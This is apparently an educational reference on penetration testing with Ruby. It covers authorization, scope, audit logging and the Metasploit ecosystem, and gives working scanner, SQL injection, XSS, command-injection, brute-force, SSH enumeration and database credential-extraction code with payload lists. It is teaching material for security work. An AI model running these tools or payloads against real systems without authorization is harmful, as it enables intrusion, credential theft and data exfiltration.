Overview
Penetration testing, often called pentesting or ethical hacking, is a structured approach to evaluating the security of computer systems, networks, and applications by simulating real-world attacks. This proactive security measure identifies vulnerabilities before malicious actors can exploit them. Unlike vulnerability scanning which merely identifies potential weaknesses, penetration testing actively attempts to exploit those weaknesses to determine their actual impact on system security.
The practice originated in the 1960s and 1970s when computer security researchers began testing systems for exploitable flaws. Modern penetration testing has evolved into a formalized discipline with established methodologies, legal frameworks, and professional certifications. Organizations conduct penetration tests to comply with regulatory requirements, validate security controls, and maintain their security posture.
Penetration testing differs from other security assessments in scope and depth. A vulnerability assessment identifies potential issues, a security audit verifies compliance with policies, but penetration testing actively exploits vulnerabilities to determine exploitability and business impact. The process requires explicit written authorization and operates within defined boundaries to avoid legal complications.
Ruby has become a significant language in the penetration testing community, primarily because the Metasploit Framework, one of the most widely used penetration testing platforms, is written in Ruby. This creates opportunities for security professionals to develop custom exploits, auxiliary modules, and post-exploitation tools using Ruby's expressive syntax and rich library ecosystem.
# Basic port scanning example
require 'socket'
def scan_port(host, port)
begin
socket = Socket.new(:INET, :STREAM)
sockaddr = Socket.sockaddr_in(port, host)
socket.connect_nonblock(sockaddr)
rescue Errno::EINPROGRESS
# Connection in progress
IO.select(nil, [socket], nil, 2)
begin
socket.connect_nonblock(sockaddr)
rescue Errno::EISCONN
return true # Port is open
rescue
return false
end
rescue
return false
ensure
socket.close if socket
end
end
# Scan common ports
['192.168.1.1'].each do |host|
[22, 80, 443, 3306].each do |port|
if scan_port(host, port)
puts "#{host}:#{port} - OPEN"
end
end
end
Key Principles
Penetration testing operates on several fundamental principles that distinguish it from malicious hacking. Authorization forms the cornerstone of ethical penetration testing. Every engagement requires explicit written permission from authorized representatives of the target organization. This legal authorization defines the scope, timing, methods, and limitations of the assessment.
The principle of least privilege applies to penetration testing access. Testers should operate with the minimum level of access necessary to complete their objectives, escalating privileges only when required to demonstrate specific attack scenarios. This approach mirrors how actual attackers progress through compromised systems.
Scope definition establishes clear boundaries for testing activities. The scope document specifies target systems, IP ranges, applications, time windows, and prohibited actions. Testing outside the defined scope can result in legal liability and damage to systems not prepared for security assessments. Scope creep, where testing extends beyond agreed boundaries, must be avoided through careful documentation and communication.
The chain of custody principle requires meticulous documentation of all testing activities. Testers maintain detailed logs of commands executed, vulnerabilities discovered, exploitation attempts, and data accessed. This documentation serves multiple purposes: proving the test occurred as specified, providing evidence for security findings, and protecting the tester from allegations of unauthorized activity.
Confidentiality and data handling protocols govern how testers manage sensitive information encountered during assessments. Penetration testers often gain access to confidential business data, personally identifiable information, or credentials. Proper handling includes secure storage, limited access, and complete destruction after the engagement concludes.
The principle of minimal impact requires testers to avoid disrupting business operations unless explicitly authorized and necessary to demonstrate risk. Denial of service attacks, data destruction, and system modifications should be carefully considered and often simulated rather than executed. When potentially disruptive tests are necessary, they should occur during maintenance windows or in isolated test environments.
Methodology consistency ensures repeatable and comprehensive testing. Established frameworks like OWASP Testing Guide, PTES (Penetration Testing Execution Standard), and NIST SP 800-115 provide structured approaches covering reconnaissance, scanning, vulnerability analysis, exploitation, post-exploitation, and reporting phases.
# Enumeration example - gathering system information
require 'net/http'
require 'uri'
class WebEnumerator
def initialize(target_url)
@target = URI.parse(target_url)
end
def enumerate_server
response = Net::HTTP.get_response(@target)
{
server: response['server'],
powered_by: response['x-powered-by'],
headers: response.to_hash,
status: response.code,
cookies: response.get_fields('set-cookie')
}
end
def check_common_files
common_files = [
'/robots.txt',
'/.git/config',
'/admin',
'/backup',
'/.env'
]
found_files = []
common_files.each do |file|
uri = URI.join(@target.to_s, file)
response = Net::HTTP.get_response(uri)
found_files << file if response.code.to_i < 400
end
found_files
end
end
# Usage
enumerator = WebEnumerator.new('http://example.com')
info = enumerator.enumerate_server
# => {:server=>"nginx", :powered_by=>nil, ...}
Ruby Implementation
Ruby provides multiple approaches for implementing penetration testing tools and techniques. The language's socket programming capabilities, HTTP client libraries, and string manipulation features make it suitable for network reconnaissance, web application testing, and exploit development.
Network reconnaissance in Ruby leverages the socket library for low-level network operations. The Socket class provides access to TCP, UDP, and raw sockets, enabling port scanning, banner grabbing, and protocol analysis. Ruby's concurrency features through threads allow parallel scanning of multiple targets, improving efficiency during large-scale assessments.
require 'socket'
require 'timeout'
class NetworkScanner
def initialize(targets, ports, timeout: 1)
@targets = targets
@ports = ports
@timeout = timeout
@results = {}
end
def scan
threads = []
@targets.each do |target|
@ports.each do |port|
threads << Thread.new do
result = check_port(target, port)
@results["#{target}:#{port}"] = result if result[:open]
end
end
end
threads.each(&:join)
@results
end
private
def check_port(host, port)
begin
Timeout.timeout(@timeout) do
socket = TCPSocket.new(host, port)
banner = socket.recv(1024).strip
socket.close
{ open: true, banner: banner, service: identify_service(port, banner) }
end
rescue Timeout::Error, Errno::ECONNREFUSED, Errno::EHOSTUNREACH
{ open: false }
end
end
def identify_service(port, banner)
case port
when 22 then banner.match?(/SSH/) ? 'SSH' : 'Unknown'
when 80, 8080 then 'HTTP'
when 443 then 'HTTPS'
when 3306 then 'MySQL'
when 5432 then 'PostgreSQL'
else 'Unknown'
end
end
end
# Scan multiple hosts
scanner = NetworkScanner.new(
['192.168.1.1', '192.168.1.2'],
[22, 80, 443, 3306],
timeout: 2
)
results = scanner.scan
# => {"192.168.1.1:22"=>{:open=>true, :banner=>"SSH-2.0-OpenSSH_7.9", :service=>"SSH"}}
Web application testing in Ruby utilizes HTTP client libraries like Net::HTTP, HTTParty, or Faraday. These libraries support custom headers, cookie management, and proxy configuration essential for web application assessments. Ruby's regular expressions facilitate response parsing and vulnerability pattern matching.
require 'net/http'
require 'uri'
class SQLInjectionTester
PAYLOADS = [
"' OR '1'='1",
"' OR '1'='1' --",
"' OR '1'='1' /*",
"admin' --",
"' UNION SELECT NULL--",
"1' AND 1=1--",
"1' AND 1=2--"
]
def initialize(target_url, parameter)
@target = URI.parse(target_url)
@parameter = parameter
end
def test_injection
vulnerable_payloads = []
PAYLOADS.each do |payload|
response = send_payload(payload)
if analyze_response(response)
vulnerable_payloads << payload
end
end
{
vulnerable: !vulnerable_payloads.empty?,
payloads: vulnerable_payloads,
severity: calculate_severity(vulnerable_payloads)
}
end
private
def send_payload(payload)
uri = @target.dup
params = URI.decode_www_form(uri.query || '')
params << [@parameter, payload]
uri.query = URI.encode_www_form(params)
Net::HTTP.get_response(uri)
end
def analyze_response(response)
error_patterns = [
/SQL syntax.*MySQL/i,
/Warning.*mysqli/i,
/PostgreSQL.*ERROR/i,
/SQLite.*error/i,
/ORA-\d{5}/i
]
error_patterns.any? { |pattern| response.body.match?(pattern) }
end
def calculate_severity(payloads)
return :none if payloads.empty?
payloads.length > 3 ? :high : :medium
end
end
# Test for SQL injection
tester = SQLInjectionTester.new('http://example.com/search?q=test', 'q')
result = tester.test_injection
# => {:vulnerable=>true, :payloads=>["' OR '1'='1"], :severity=>:medium}
Password cracking and brute force attacks benefit from Ruby's string manipulation and file I/O capabilities. Ruby can efficiently process wordlists, generate password variations, and manage authentication attempts with proper rate limiting and error handling.
require 'net/http'
require 'json'
class BruteForceAttacker
def initialize(target_url, username_field, password_field)
@target = URI.parse(target_url)
@username_field = username_field
@password_field = password_field
@delay = 0.5 # Rate limiting
end
def attack(username, wordlist_path)
File.foreach(wordlist_path) do |password|
password = password.chomp
if attempt_login(username, password)
return { success: true, password: password }
end
sleep(@delay) # Rate limiting
end
{ success: false }
end
private
def attempt_login(username, password)
http = Net::HTTP.new(@target.host, @target.port)
request = Net::HTTP::Post.new(@target.path)
request.set_form_data(
@username_field => username,
@password_field => password
)
response = http.request(request)
# Check for successful login indicators
!response.body.match?(/invalid|incorrect|failed/i) &&
(response.code.to_i == 200 || response.code.to_i == 302)
end
end
# Note: This is for educational purposes only
# Real implementations should include proper error handling and logging
Security Implications
Penetration testing carries significant security implications that extend beyond technical vulnerabilities. The legal framework governing authorized hacking distinguishes ethical penetration testing from criminal activity. Without proper authorization, even well-intentioned security testing violates computer fraud and abuse laws in most jurisdictions.
Authorization documents must specify exact scope boundaries, including IP addresses, domains, systems, and time windows. Verbal authorization is insufficient; written contracts with proper signatures from authorized representatives protect both the tester and the organization. The authorization should explicitly state which systems may be tested, which methods are permitted, and what actions are prohibited.
Data handling during penetration testing presents privacy and confidentiality concerns. Testers frequently encounter sensitive information including personally identifiable information, financial records, trade secrets, and authentication credentials. The engagement agreement should specify data handling requirements, including secure storage, access restrictions, and destruction procedures after engagement completion.
Third-party systems and cloud infrastructure introduce additional legal complexity. Organizations may not own or control all systems in their infrastructure. Testing cloud-hosted applications without provider permission can violate terms of service and potentially affect other customers sharing the same infrastructure. The scope document must clarify which third-party systems are included and confirm necessary permissions have been obtained.
Privilege escalation and lateral movement demonstrate real attack paths but risk system instability. Exploitation attempts can crash services, corrupt data, or trigger security alerts that interfere with normal operations. Testers must carefully consider the risk-reward tradeoff of each exploitation attempt and maintain detailed logs of all actions taken.
# Secure credential handling during pentesting
require 'openssl'
require 'base64'
class CredentialVault
def initialize(master_password)
@cipher = OpenSSL::Cipher.new('AES-256-CBC')
@key = OpenSSL::PKCS5.pbkdf2_hmac(
master_password,
'penetration_test_salt',
10000,
@cipher.key_len,
OpenSSL::Digest::SHA256.new
)
@credentials = {}
end
def store(identifier, credential)
encrypted = encrypt(credential)
@credentials[identifier] = encrypted
write_log("Stored credential for #{identifier}")
end
def retrieve(identifier)
encrypted = @credentials[identifier]
return nil unless encrypted
decrypt(encrypted)
end
def destroy_all
@credentials.clear
@key = nil
write_log("All credentials destroyed")
end
private
def encrypt(data)
@cipher.encrypt
@cipher.key = @key
iv = @cipher.random_iv
encrypted = @cipher.update(data) + @cipher.final
Base64.strict_encode64(iv + encrypted)
end
def decrypt(encrypted_data)
data = Base64.strict_decode64(encrypted_data)
iv = data[0, @cipher.iv_len]
encrypted = data[@cipher.iv_len..-1]
@cipher.decrypt
@cipher.key = @key
@cipher.iv = iv
@cipher.update(encrypted) + @cipher.final
end
def write_log(message)
File.open('pentest_audit.log', 'a') do |f|
f.puts "[#{Time.now.iso8601}] #{message}"
end
end
end
# Usage during engagement
vault = CredentialVault.new('master_password_from_secure_source')
vault.store('admin_ssh', 'compromised_password')
# ... testing activities ...
vault.destroy_all # After engagement completion
False positives and exploitation validation require careful verification. Automated tools frequently report vulnerabilities that do not represent actual security risks. Testers must validate findings through manual verification, understanding the specific context and configuration of target systems. Reporting unverified vulnerabilities wastes remediation resources and damages credibility.
Responsible disclosure practices govern how testers communicate findings. The timing and method of disclosure can significantly impact security outcomes. Immediate public disclosure before remediation puts systems at risk, while excessive delays leave vulnerabilities unpatched. Most engagements follow coordinated disclosure where findings are reported to the organization with reasonable time for remediation before any public announcement.
Social engineering and physical security testing introduce additional ethical considerations. While these techniques reflect realistic attack scenarios, they can damage employee morale and create legal liability if not properly authorized and conducted. Physical intrusion testing requires explicit authorization and coordination with security personnel to avoid misunderstandings that could result in arrest or injury.
Tools & Ecosystem
The Ruby penetration testing ecosystem centers around the Metasploit Framework, the most widely adopted penetration testing platform. Metasploit provides an extensive collection of exploits, auxiliary modules, payloads, and post-exploitation tools. Written primarily in Ruby, Metasploit offers a framework for developing custom security testing modules using Ruby's expressive syntax.
The Metasploit Framework architecture consists of several key components. The Rex library provides fundamental networking and protocol implementations. The Msf::Core module handles framework initialization and module management. Individual exploits, auxiliary modules, and payloads extend base classes to implement specific functionality. This architecture allows security researchers to develop new capabilities by writing Ruby classes that integrate seamlessly with the framework.
# Example Metasploit auxiliary module structure
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Custom Port Scanner',
'Description' => 'Scans for open ports',
'Author' => 'Security Researcher',
'License' => MSF_LICENSE
))
register_options([
Opt::RPORT(80),
OptString.new('PORTS', [true, 'Ports to scan', '80,443,8080'])
])
end
def run_host(ip)
ports = datastore['PORTS'].split(',').map(&:to_i)
ports.each do |port|
begin
connect(true, {'RPORT' => port})
print_good("#{ip}:#{port} - OPEN")
disconnect
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError
print_error("#{ip}:#{port} - CLOSED")
end
end
end
end
Ruby gems provide additional penetration testing capabilities beyond Metasploit. The ronin framework offers a Ruby platform for exploit development, malware analysis, and security research. Ronin includes libraries for binary analysis, web scraping, fuzzing, and exploit generation. Its modular design allows researchers to combine components for custom security tools.
Network protocol implementation gems support various penetration testing scenarios. The net-ssh gem implements the SSH protocol for remote command execution and file transfer. The net-snmp gem enables SNMP enumeration for network device reconnaissance. The packetfu gem provides packet crafting capabilities for custom network protocol analysis and exploitation.
# Network reconnaissance using Ruby gems
require 'net/ssh'
require 'net/scp'
class SSHEnumerator
def initialize(host, username, password)
@host = host
@username = username
@password = password
end
def gather_system_info
commands = {
os_info: 'uname -a',
users: 'cat /etc/passwd',
network: 'ifconfig -a',
processes: 'ps aux',
cron_jobs: 'crontab -l'
}
results = {}
Net::SSH.start(@host, @username, password: @password) do |ssh|
commands.each do |key, cmd|
begin
results[key] = ssh.exec!(cmd)
rescue => e
results[key] = "Error: #{e.message}"
end
end
end
results
end
def exfiltrate_file(remote_path, local_path)
Net::SCP.start(@host, @username, password: @password) do |scp|
scp.download!(remote_path, local_path)
end
end
end
# Usage after successful compromise
enum = SSHEnumerator.new('192.168.1.100', 'compromised_user', 'found_password')
info = enum.gather_system_info
# => {:os_info=>"Linux hostname 5.4.0-42-generic", :users=>"root:x:0:0..."}
Web application testing benefits from Ruby's HTTP client gems. The httparty gem provides a simple interface for HTTP requests with automatic parsing and retry logic. The mechanize gem offers a higher-level API for web scraping and form automation, useful for authenticated testing scenarios. The capybara gem, typically used for browser automation testing, can be adapted for web application security testing.
Database interaction gems support SQL injection testing and post-exploitation database enumeration. The pg gem implements PostgreSQL protocol communication, mysql2 connects to MySQL databases, and sequel provides a database toolkit abstraction layer. These gems allow direct database interaction after successful SQL injection or credential compromise.
require 'sequel'
class DatabaseEnumerator
def initialize(connection_string)
@db = Sequel.connect(connection_string)
end
def enumerate_schema
tables = @db.tables
schema_info = tables.map do |table|
{
table: table,
columns: @db.schema(table),
row_count: @db[table].count
}
end
schema_info
end
def extract_credentials
credentials = []
# Common table names that might contain credentials
potential_tables = ['users', 'accounts', 'members', 'admins']
potential_tables.each do |table_name|
next unless @db.table_exists?(table_name)
@db[table_name.to_sym].each do |row|
credentials << extract_user_data(row)
end
end
credentials
end
private
def extract_user_data(row)
{
username: row[:username] || row[:email] || row[:login],
password_hash: row[:password] || row[:password_hash] || row[:passwd],
email: row[:email],
role: row[:role] || row[:privilege] || row[:access_level]
}
end
end
# Post-exploitation database enumeration
# Note: Only use with explicit authorization
db = DatabaseEnumerator.new('postgres://compromised:password@192.168.1.100/app_db')
schema = db.enumerate_schema
# => [{:table=>:users, :columns=>[[:id, {:type=>:integer}], ...], :row_count=>1500}]
Practical Examples
Reconnaissance represents the initial phase of penetration testing where testers gather information about target systems. This phase establishes the foundation for subsequent testing by identifying attack surface, technology stack, and potential entry points.
require 'resolv'
require 'net/http'
require 'json'
class ReconnaissanceEngine
def initialize(target_domain)
@domain = target_domain
@resolver = Resolv::DNS.new
end
def perform_dns_enumeration
record_types = [
Resolv::DNS::Resource::IN::A,
Resolv::DNS::Resource::IN::AAAA,
Resolv::DNS::Resource::IN::MX,
Resolv::DNS::Resource::IN::NS,
Resolv::DNS::Resource::IN::TXT,
Resolv::DNS::Resource::IN::SOA
]
dns_records = {}
record_types.each do |type|
begin
records = @resolver.getresources(@domain, type)
dns_records[type.name] = records.map do |record|
case record
when Resolv::DNS::Resource::IN::A
record.address.to_s
when Resolv::DNS::Resource::IN::MX
"#{record.preference} #{record.exchange}"
when Resolv::DNS::Resource::IN::TXT
record.data
else
record.to_s
end
end
rescue Resolv::ResolvError
dns_records[type.name] = []
end
end
dns_records
end
def enumerate_subdomains(wordlist)
discovered_subdomains = []
wordlist.each do |subdomain|
fqdn = "#{subdomain}.#{@domain}"
begin
addresses = @resolver.getaddresses(fqdn)
if addresses.any?
discovered_subdomains << {
subdomain: fqdn,
addresses: addresses.map(&:to_s)
}
end
rescue Resolv::ResolvError
# Subdomain doesn't exist
end
end
discovered_subdomains
end
def fingerprint_web_server(url)
uri = URI.parse(url)
response = Net::HTTP.get_response(uri)
{
server: response['server'],
powered_by: response['x-powered-by'],
framework: detect_framework(response),
cookies: parse_cookies(response.get_fields('set-cookie')),
security_headers: check_security_headers(response)
}
end
private
def detect_framework(response)
frameworks = {
'Rails' => response['x-powered-by']&.include?('Phusion Passenger'),
'Laravel' => response.body.include?('laravel'),
'Django' => response['server']&.include?('WSGIServer'),
'Express' => response['x-powered-by']&.include?('Express')
}
frameworks.select { |k, v| v }.keys
end
def parse_cookies(cookies)
return [] unless cookies
cookies.map do |cookie|
parts = cookie.split(';').map(&:strip)
name_value = parts.first.split('=', 2)
{
name: name_value[0],
secure: parts.include?('Secure'),
httponly: parts.include?('HttpOnly'),
samesite: parts.find { |p| p.start_with?('SameSite') }
}
end
end
def check_security_headers(response)
security_headers = [
'strict-transport-security',
'content-security-policy',
'x-frame-options',
'x-content-type-options',
'x-xss-protection'
]
security_headers.each_with_object({}) do |header, result|
result[header] = response[header] || 'MISSING'
end
end
end
# Comprehensive reconnaissance
recon = ReconnaissanceEngine.new('example.com')
dns_info = recon.perform_dns_enumeration
subdomains = recon.enumerate_subdomains(['www', 'mail', 'admin', 'api', 'dev'])
web_fingerprint = recon.fingerprint_web_server('https://example.com')
Web application vulnerability assessment requires systematic testing of input validation, authentication mechanisms, session management, and authorization controls. This example demonstrates testing for common web vulnerabilities including cross-site scripting and command injection.
require 'net/http'
require 'cgi'
class WebVulnerabilityScanner
XSS_PAYLOADS = [
'<script>alert(1)</script>',
'<img src=x onerror=alert(1)>',
'"><script>alert(1)</script>',
'javascript:alert(1)',
'<svg onload=alert(1)>'
]
COMMAND_INJECTION_PAYLOADS = [
'; ls -la',
'| cat /etc/passwd',
'`whoami`',
'$(id)',
'& ping -c 3 127.0.0.1'
]
def initialize(target_url)
@target = URI.parse(target_url)
end
def test_xss(parameter)
vulnerabilities = []
XSS_PAYLOADS.each do |payload|
response = send_request(parameter, payload)
if response.body.include?(payload) && !payload_escaped?(response.body, payload)
vulnerabilities << {
type: 'Reflected XSS',
parameter: parameter,
payload: payload,
severity: calculate_xss_severity(payload, response)
}
end
end
vulnerabilities
end
def test_command_injection(parameter)
baseline_response = send_request(parameter, 'baseline')
baseline_time = measure_response_time { send_request(parameter, 'baseline') }
vulnerabilities = []
COMMAND_INJECTION_PAYLOADS.each do |payload|
response_time = measure_response_time { send_request(parameter, payload) }
response = send_request(parameter, payload)
# Time-based detection
if response_time > baseline_time + 2.0
vulnerabilities << {
type: 'Time-based Command Injection',
parameter: parameter,
payload: payload,
time_difference: response_time - baseline_time,
severity: :critical
}
end
# Content-based detection
if contains_command_output?(response.body)
vulnerabilities << {
type: 'Command Injection with Output',
parameter: parameter,
payload: payload,
evidence: extract_evidence(response.body),
severity: :critical
}
end
end
vulnerabilities
end
def test_authentication_bypass
bypass_attempts = [
{ username: "admin' OR '1'='1", password: "anything" },
{ username: "admin' --", password: "" },
{ username: "admin", password: "' OR '1'='1" }
]
bypass_attempts.each do |credentials|
response = attempt_login(credentials)
if successful_login?(response)
return {
vulnerable: true,
bypass_method: credentials,
response_code: response.code,
severity: :critical
}
end
end
{ vulnerable: false }
end
private
def send_request(parameter, value)
uri = @target.dup
params = URI.decode_www_form(uri.query || '')
params << [parameter, value]
uri.query = URI.encode_www_form(params)
Net::HTTP.get_response(uri)
end
def measure_response_time
start_time = Time.now
yield
Time.now - start_time
end
def payload_escaped?(content, payload)
escaped_versions = [
CGI.escapeHTML(payload),
CGI.escape(payload),
payload.gsub('<', '<').gsub('>', '>')
]
escaped_versions.any? { |escaped| content.include?(escaped) }
end
def contains_command_output?(body)
indicators = [
/root:.*:0:0:/, # /etc/passwd content
/uid=\d+.*gid=\d+/, # id command output
/PING.*bytes of data/, # ping command
/total \d+/ # ls command
]
indicators.any? { |pattern| body.match?(pattern) }
end
def calculate_xss_severity(payload, response)
if response.body.match?(/<script[^>]*>/) && !response['x-xss-protection']
:high
elsif payload.include?('onerror') || payload.include?('onload')
:medium
else
:low
end
end
def extract_evidence(body)
body.lines.first(5).join("\n")
end
def attempt_login(credentials)
http = Net::HTTP.new(@target.host, @target.port)
request = Net::HTTP::Post.new('/login')
request.set_form_data(credentials)
http.request(request)
end
def successful_login?(response)
response.code.to_i == 302 ||
response.body.include?('Welcome') ||
response.body.include?('Dashboard')
end
end
# Comprehensive web application testing
scanner = WebVulnerabilityScanner.new('http://testsite.com/search')
xss_vulns = scanner.test_xss('q')
cmd_vulns = scanner.test_command_injection('file')
auth_result = scanner.test_authentication_bypass
Common Pitfalls
Scope violation represents one of the most severe mistakes in penetration testing. Testing systems outside the authorized scope can result in criminal charges, civil liability, and termination of professional relationships. Scope creep occurs when testers discover interconnected systems and expand testing without additional authorization. Every new system or IP address discovered requires explicit verification against the scope document.
Insufficient documentation during testing creates problems for both testers and clients. Without detailed logs of commands executed, timestamps, and results obtained, reproducing findings becomes difficult. Documentation proves that testing occurred as authorized and provides evidence for legal protection if disputes arise. Testers should log every significant action, including failed attempts and dead ends encountered during testing.
# Proper audit logging for penetration testing activities
require 'logger'
require 'json'
class PentestAuditor
def initialize(engagement_id, tester_name)
@engagement_id = engagement_id
@tester_name = tester_name
@logger = Logger.new("pentest_#{engagement_id}.log")
@logger.formatter = proc do |severity, datetime, progname, msg|
{
timestamp: datetime.iso8601,
engagement: @engagement_id,
tester: @tester_name,
severity: severity,
message: msg
}.to_json + "\n"
end
end
def log_scan(target, scan_type, parameters)
@logger.info({
action: 'scan',
target: target,
scan_type: scan_type,
parameters: parameters
}.to_json)
end
def log_exploitation_attempt(target, vulnerability, payload, success)
@logger.warn({
action: 'exploitation',
target: target,
vulnerability: vulnerability,
payload: payload,
success: success
}.to_json)
end
def log_access(system, access_level, credentials_used)
@logger.warn({
action: 'access_granted',
system: system,
access_level: access_level,
credentials: credentials_used ? 'compromised' : 'default'
}.to_json)
end
def log_data_access(file_path, action)
@logger.error({
action: 'data_access',
file: file_path,
operation: action,
justification: 'Required for impact demonstration'
}.to_json)
end
end
# Usage throughout engagement
auditor = PentestAuditor.new('ENGAGE-2024-001', 'security_tester')
auditor.log_scan('192.168.1.0/24', 'port_scan', ports: '1-65535')
auditor.log_exploitation_attempt(
'192.168.1.50',
'SQL Injection',
"' OR 1=1--",
true
)
Inadequate rate limiting during automated testing can trigger defensive mechanisms or cause service disruption. Aggressive scanning and brute force attacks without proper throttling may overload target systems, trigger intrusion detection systems, or violate terms of engagement. Professional penetration testers implement delays between requests and monitor system responsiveness to avoid accidental denial of service.
Failing to verify findings before reporting creates unnecessary remediation work and damages tester credibility. Automated scanning tools generate many false positives that require manual verification. A reported SQL injection vulnerability that cannot be exploited or a cross-site scripting issue that only works in specific browser configurations wastes development resources and diminishes report value.
Improper cleanup after testing leaves systems in compromised states. Testers may create backdoor accounts, upload web shells, modify configurations, or install tools during testing. Comprehensive cleanup procedures should remove all artifacts, restore modified settings, and document any permanent changes that could not be reversed. Engagement contracts should specify cleanup responsibilities and timelines.
Overestimating exploitation capabilities leads to incomplete assessments. Successfully exploiting a vulnerability requires understanding the specific environment, configurations, and defensive measures in place. Theoretical vulnerabilities from CVE databases may not be exploitable in the target environment due to compensating controls, configuration differences, or version-specific mitigations. Testers should distinguish between theoretical risk and demonstrated exploitability.
Neglecting permission boundaries during privilege escalation can damage systems or violate scope. After gaining initial access, testers often attempt privilege escalation to demonstrate full compromise potential. However, some privilege escalation techniques involve kernel exploits or system modifications that risk crashes or data corruption. The testing methodology should define acceptable privilege escalation techniques and require approval for potentially destructive methods.
Mishandling credentials and sensitive data discovered during testing creates privacy and security risks. Testers routinely discover passwords, API keys, database credentials, and personally identifiable information. Proper handling requires secure storage during the engagement, limited access to only necessary personnel, and complete destruction after report delivery. Credentials should never be reused across different engagements or stored in unsecured locations.
Reporting style mistakes can undermine valuable technical findings. Overly technical reports that assume security expertise confuse business stakeholders who must approve remediation budgets. Conversely, reports lacking technical depth prevent development teams from understanding and fixing vulnerabilities. Effective reports include executive summaries for business audiences, detailed technical findings for security teams, and specific remediation guidance for developers.
Reference
Penetration Testing Phases
| Phase | Description | Key Activities | Duration |
|---|---|---|---|
| Planning | Define scope, objectives, rules of engagement | Contract negotiation, scope definition, authorization | 5-10% |
| Reconnaissance | Gather information about target | DNS enumeration, OSINT, technology fingerprinting | 15-20% |
| Scanning | Identify active systems and vulnerabilities | Port scanning, vulnerability scanning, service enumeration | 10-15% |
| Exploitation | Attempt to exploit identified vulnerabilities | Exploit development, payload delivery, access gaining | 20-30% |
| Post-Exploitation | Assess impact and gather sensitive data | Privilege escalation, lateral movement, data exfiltration | 15-20% |
| Reporting | Document findings and recommendations | Report writing, evidence compilation, presentation | 20-25% |
Common Vulnerability Types
| Vulnerability | Description | CVSS Severity Range | Exploitation Complexity |
|---|---|---|---|
| SQL Injection | Improper input validation in database queries | 7.5-10.0 | Low to Medium |
| Cross-Site Scripting | Injection of malicious scripts in web pages | 5.4-8.8 | Low |
| Command Injection | Execution of arbitrary system commands | 8.8-10.0 | Low to Medium |
| Authentication Bypass | Circumventing authentication mechanisms | 7.5-9.8 | Medium to High |
| Path Traversal | Unauthorized file system access | 6.5-8.6 | Low |
| CSRF | Forcing users to execute unwanted actions | 6.5-8.8 | Medium |
| XXE | XML External Entity injection | 7.5-9.8 | Medium |
| Insecure Deserialization | Arbitrary code execution via object manipulation | 8.8-10.0 | High |
| SSRF | Server-side request forgery | 7.5-9.8 | Medium |
| Privilege Escalation | Gaining elevated system access | 7.2-9.8 | Medium to High |
Ruby Penetration Testing Gems
| Gem | Purpose | Key Features |
|---|---|---|
| metasploit-framework | Comprehensive penetration testing platform | Exploit modules, payloads, auxiliary scanners |
| ronin | Security research platform | Exploit development, malware analysis, fuzzing |
| packetfu | Packet manipulation | Craft custom network packets, protocol analysis |
| net-ssh | SSH protocol implementation | Remote command execution, file transfer |
| net-snmp | SNMP protocol support | Network device enumeration |
| httparty | HTTP client | Web application testing, API interaction |
| sequel | Database toolkit | Multi-database support, schema enumeration |
| openvas-omp | OpenVAS integration | Vulnerability scanning automation |
| nmap-parser | Nmap output parsing | Scan result analysis and processing |
Network Port Reference
| Port | Service | Common Vulnerabilities | Testing Priority |
|---|---|---|---|
| 21 | FTP | Anonymous access, clear text credentials | High |
| 22 | SSH | Weak credentials, outdated versions | Critical |
| 23 | Telnet | Clear text authentication, legacy protocols | Critical |
| 25 | SMTP | Open relay, user enumeration | Medium |
| 80 | HTTP | Web application vulnerabilities | Critical |
| 443 | HTTPS | SSL/TLS misconfigurations, certificate issues | Critical |
| 445 | SMB | EternalBlue, relay attacks | Critical |
| 1433 | MSSQL | Injection attacks, weak authentication | High |
| 3306 | MySQL | Default credentials, injection attacks | High |
| 3389 | RDP | Weak passwords, BlueKeep vulnerability | Critical |
| 5432 | PostgreSQL | Injection attacks, privilege escalation | High |
| 8080 | HTTP Alt | Web application vulnerabilities | High |
Authorization Document Checklist
| Component | Required Elements | Purpose |
|---|---|---|
| Scope Definition | IP ranges, domains, systems, applications | Define test boundaries |
| Time Windows | Start date, end date, allowed hours | Schedule coordination |
| Authorized Personnel | Names, roles, contact information | Establish authority chain |
| Testing Methods | Allowed techniques, prohibited actions | Set methodology limits |
| Data Handling | Storage requirements, destruction timeline | Protect sensitive information |
| Communication Plan | Escalation procedures, emergency contacts | Incident response |
| Legal Terms | Liability limitations, indemnification | Risk management |
| Success Criteria | Deliverables, reporting requirements | Define engagement outcomes |
| Third-Party Systems | Cloud services, vendors, external systems | Clarify extended scope |
OWASP Top 10 Mapping
| OWASP Category | Primary Testing Technique | Ruby Implementation Approach |
|---|---|---|
| Broken Access Control | Authorization testing, privilege escalation | Net::HTTP with session manipulation |
| Cryptographic Failures | SSL/TLS testing, encryption analysis | OpenSSL gem analysis |
| Injection | Payload fuzzing, input validation testing | Parameter manipulation with CGI |
| Insecure Design | Threat modeling, architecture review | Business logic analysis |
| Security Misconfiguration | Configuration enumeration | HTTP header analysis, error messages |
| Vulnerable Components | Version detection, CVE correlation | Banner grabbing, response fingerprinting |
| Authentication Failures | Credential attacks, session testing | Brute force with rate limiting |
| Data Integrity Failures | Deserialization testing | Marshal, JSON, YAML analysis |
| Logging Failures | Log injection, monitoring bypass | Payload encoding and obfuscation |
| SSRF | Internal service enumeration | URI manipulation with Net::HTTP |
Exploitation Success Criteria
| Criteria | Description | Validation Method |
|---|---|---|
| Reproducibility | Exploit works consistently across attempts | Multiple successful executions |
| Impact Demonstration | Clear evidence of security impact | Screenshot, log output, data sample |
| Privilege Level | Access level achieved | User enumeration, permission check |
| Lateral Movement | Ability to compromise additional systems | Network access verification |
| Data Access | Types of data accessible | File system access, database queries |
| Persistence | Ability to maintain access | Backdoor installation, scheduled tasks |
| Cleanup Feasibility | Changes can be reversed | Documentation of modifications |
Common Ruby Socket Operations
| Operation | Code Pattern | Use Case |
|---|---|---|
| TCP Connect | TCPSocket.new(host, port) | Port scanning, service connection |
| Banner Grab | socket.recv(1024) | Service identification |
| UDP Send | UDPSocket.new.send(data, 0, host, port) | DNS queries, SNMP |
| Non-blocking Connect | Socket.new + connect_nonblock | Parallel scanning |
| SSL/TLS | OpenSSL::SSL::SSLSocket | Encrypted service testing |
| Raw Socket | Socket.new(AF_INET, SOCK_RAW) | Custom protocol, packet crafting |
Report Severity Classification
| Severity | Characteristics | Recommended Timeframe | Business Impact |
|---|---|---|---|
| Critical | Remote code execution, data breach | Immediate (24-48 hours) | Severe financial, legal, reputational |
